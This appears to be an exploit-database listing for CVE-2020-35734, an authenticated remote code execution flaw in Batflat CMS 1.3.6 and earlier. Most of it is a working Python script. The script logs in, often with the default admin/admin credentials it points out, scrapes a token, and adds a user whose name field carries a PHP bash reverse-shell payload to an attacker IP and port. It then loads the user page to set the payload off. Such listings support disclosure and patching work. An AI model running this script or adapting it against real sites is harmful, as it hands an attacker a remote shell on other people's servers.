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Batflat CMS 1.3.6 Remote Code Execution

Batflat CMS 1.3.6 Remote Code Execution
Posted Feb 18, 2021
Authored by mari0x00

Batflat CMS versions 1.3.6 and below suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-35734
MD5 | f52fce6186b9cd8e4501a1b28755bac1

Batflat CMS 1.3.6 Remote Code Execution

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# Exploit Title: Batflat CMS 1.3.6 - Remote Code Execution (Authenticated)
# Date: 2020-12-27
# Exploit Author: mari0x00
# Vendor Homepage: https://batflat.org/
# Software Link: https://github.com/sruupl/batflat/archive/master.zip
# Description: https://secator.pl/index.php/2021/02/15/batflat-v-1-3-6-authenticated-remote-code-execution-public-disclosure/
# Version: <= 1.3.6
# CVE: CVE-2020-35734

#!/usr/bin/python3

import requests
import sys
import re
from bs4 import BeautifulSoup
from termcolor import colored
from time import sleep

print(colored('''###########################################################''',"red"))
print(colored('''####### Batflat authenticated RCE by mari0x00 #######''',"red"))
print(colored('''###########################################################''',"red"))
print("")

if len(sys.argv) != 6:
print((colored("[~] Usage : python3 batpwnd.py <url> <username> <password> <IP> <PORT>","red")))
print((colored("[~] Default credentials: admin/admin","red")))
print((colored("[~] Example: python3 batpwnd.py http://192.168.101.105/ admin admin 192.168.101.101 4444","red")))
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
IP = sys.argv[4]
PORT = sys.argv[5]


#Start session
s = requests.Session()
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}


#Authenticate
print((colored("[+] Attempting user login","blue")))

login_data = {
"username": username,
"password": password,
"login": "",
}

login = s.post(url+"admin/", login_data, headers=headers)
sleep(0.5)

#Get token
print((colored("[+] Retrieving the token","blue")))
r = s.get(url+"admin/", headers=headers).content
soup = BeautifulSoup(r, "lxml")
token = (re.search(r't=(.*?)">Add', str(soup)).group(1))
print((colored("[+] Token ID: " + token,"blue")))
sleep(0.5)

#Get URL
print((colored("[+] Getting the add-user endpoint URL","blue")))
r = s.get(url+"admin/users/add?t="+token, headers=headers).content
soup = BeautifulSoup(r, "lxml")
add_user_url = (re.search(r'action="(.*?)"', str(soup)).group(1))
sleep(0.5)

#Exploit
print((colored("[+] Adding pwnd user","blue")))
payload = "<?php system(\"/bin/bash -c 'bash -i >& /dev/tcp/" + IP + "/" + PORT + " 0>&1'\");?>"

add_user = {
"username": (None, "pwnd"),
"fullname": (None, payload),
"description": (None, "pwnd"),
"email": (None, "pwnd@evil.com"),
"password": (None, "pwnd123"),
"access[]": (None, "users"),
"save": (None, "Save")
}

exploit = s.post(add_user_url, headers=headers, files=add_user)
sleep(0.5)

#Triggering reverse shell
print("")
print((colored("[+] Triggering the shell. Go nuts!","green")))
r = s.get(url+"admin/users/manage?t="+token, headers=headers)

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